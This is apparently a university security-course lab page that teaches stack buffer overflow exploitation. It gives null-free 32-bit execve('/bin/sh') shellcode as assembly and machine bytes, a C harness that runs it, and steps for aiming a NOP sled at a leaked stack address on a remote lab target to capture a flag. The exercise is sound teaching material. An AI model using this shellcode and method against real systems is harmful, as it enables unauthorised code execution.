IC00AJ74 · Week 3 · activity 2

Task 2: Arbitrary code execution

Craft shellcode and execute it through the vulnerable program.
120minutes
2points

How about creating a more advanced payload — some arbitrary code that we want to execute — and passing it to the vulnerable program we created earlier?

Could we redirect the execution flow to our own code? That would mean running our code inside another program. This is exactly what the earliest exploits did.

Ultimately, the goal is to transform our custom code into the format in which it appears in memory during CPU execution, so that the computer can execute it like any other code.

For clarity, we can draft the payload in C/C++. After that, this code should be translated into machine code by hand. We avoid auto-generating the assembly from a compiled binary for the reasons noted later. The resulting machine code can then be combined with other instructions to complete the payload.

A well-known white paper on this approach was written by Aleph One 1.

For a deeper understanding, consider the previously cited book and the following blog articles.

Crafting the payload

Let’s take a look into the following C code:

#include <unistd.h>

int main() {
        char *args[2];
        args[0] = "/bin/sh";
        args[1] = NULL;
        execve(args[0], args, NULL);
}

We can compile the code and run it. It spawns a shell /bin/sh.

gcc -o shell shell.c
./shell
exit

If we take a look at the generated machine code with objdump -D shell, we see that the binary is quite large and also contains many null bytes (0x00). Our shellcode usually cannot contain null bytes, because the vulnerability is typically in a string function, as it is here. For example, strcpy stops copying at a null byte.

Null bytes can also cause problems in many other situations.

As a result, we need to write the above functionality without null bytes. We could get the following 32-bit assembly:

global _start

section .text
_start:

xor eax, eax ; Generate Zeros
push eax ; Zero to stack
push 0x68732f6e ;
push 0x69622f2f ; //bin/sh to stack as reversed (hs/nib//)



mov ebx, esp ; Make EBX point to //bin/sh on the Stack using ESP

; PUSH 0x00000000 using EAX and point EDX to it using ESP

push eax
mov edx, esp

; PUSH Address of //bin/sh on the Stack and make ECX point to it using ESP

push ebx
mov ecx, esp

; EAX = 0, Let's move 11 into AL to avoid nulls in the Shellcode

mov al, 11
int 0x80

We can compile and link it as a 32-bit binary.

nasm -f elf32 shell.asm
ld  -m elf_i386 shell.o -o shell

Now if you check the machine code with objdump -D shell, you can see that it is free of null bytes and contains only the _start symbol.

objdump -D shell

shell:     file format elf32-i386


Disassembly of section .text:

08049000 <_start>:
 8049000:       31 c0                   xor    %eax,%eax
 8049002:       50                      push   %eax
 8049003:       68 6e 2f 73 68          push   $0x68732f6e
 8049008:       68 2f 2f 62 69          push   $0x69622f2f
 804900d:       89 e3                   mov    %esp,%ebx
 804900f:       50                      push   %eax
 8049010:       89 e2                   mov    %esp,%edx
 8049012:       53                      push   %ebx
 8049013:       89 e1                   mov    %esp,%ecx
 8049015:       b0 0b                   mov    $0xb,%al
 8049017:       cd 80                   int    $0x80

The second column shows the machine code for the assembly instructions, in hexadecimal.

Combine the instruction bytes into a C byte string (for example, "\x31\xc0...") and test them in a small C program. The articles above explain the instructions in more detail.

The test program could be the following, for example:

#include <stdio.h>
#include <string.h>

int main(void)
{
    char shellcode[] = "<your shellcode>";
    void(*fp) (void);
    fp = (void *)&shellcode;
    fp();
}

Replace <your shellcode> with the byte string, then compile and run the test program with an executable stack:

gcc -m32 -fno-stack-protector -z execstack -no-pie shellcode_test.c -o shellcode_test
./shellcode_test

You should get a shell. Type exit to leave it.

Executing the payload in another program

In Task 1 we figured out that we can redirect the execution flow to a specific address by overflowing the stack so that the instruction pointer is altered. We did that by executing a function that was never normally called.

With this information, we now have:

  • We have new machine code from the previous part and we could store it somewhere, preferably in our program’s memory space.
  • We could redirect the execution flow into this machine code
  • As a result, we could execute arbitrary code in another program!

We can try to do this as in the first task: using gdb and python to generate the payload.

We need to solve the following problems:

  • Can the shellcode fit into the buffer variable? Maybe we can adjust its size — or simply place the shellcode after everything else, since the stack grows downwards and only the current stack frame needs to stay intact for the program to work?
  • What is the address of the shellcode? Can we widen the target range and improve our odds by using the NOP instruction as a so-called NOP sled?

The flow is the following:

flowchart LR
    A[Program receives input] --> B[Buffer overflows]
    B --> C[Alter instruction pointer]
    C --> D[Execution jumps to shellcode or NOP instruction]
    D --> E[Shellcode executes from the input in memory]
    E -- Shell opens --> A

First, make the local program open a shell under gdb. Find the overwrite distance and the address of your shellcode; adjust the padding and return address until the payload works. Then try the same approach with pwntools outside the debugger. Addresses may differ because gdb often changes address randomization, so the local address may need adjustment. Work with raw bytes rather than encoded strings; for example:

python3 -c 'import sys; sys.stdout.buffer.write(b"payload")'

A NOP sled can also help significantly with hitting the correct memory address.

Trying against the remote target

Start the lab in the workspace below and download its generated overflow binary. This is a separate 32-bit build with a per-instance buffer size, so inspect this binary rather than reusing the local padding length:

objdump -d -M intel --disassemble=stackoverflow ./overflow

Find the buffer’s position relative to ebp as the saved return address is at [ebp+4]. On connection, the target prints [*] stack @ <address>. This is the address of the input buffer in main, which holds the bytes you send. Use that leak to aim the overwritten return address at your shellcode or its NOP sled. The target reads your payload from standard input over the connection, not from a command-line argument. A successful exploit opens a shell in the target; use it to find and print the per-instance flag under /home/player, then submit the flag in the workspace.

Sign in required

Sign in with the GitHub account linked to your university email.
Sign in to continue

Footnotes

  1. Smashing The Stack For Fun And Profit ↩

Generic assignment files

  • overflow.cC
  • MakefileMakefile

Generic assignment files

  • overflow.cC
  • MakefileMakefile

overflow.c

Loading preview…

Download

Makefile

Loading preview…

Download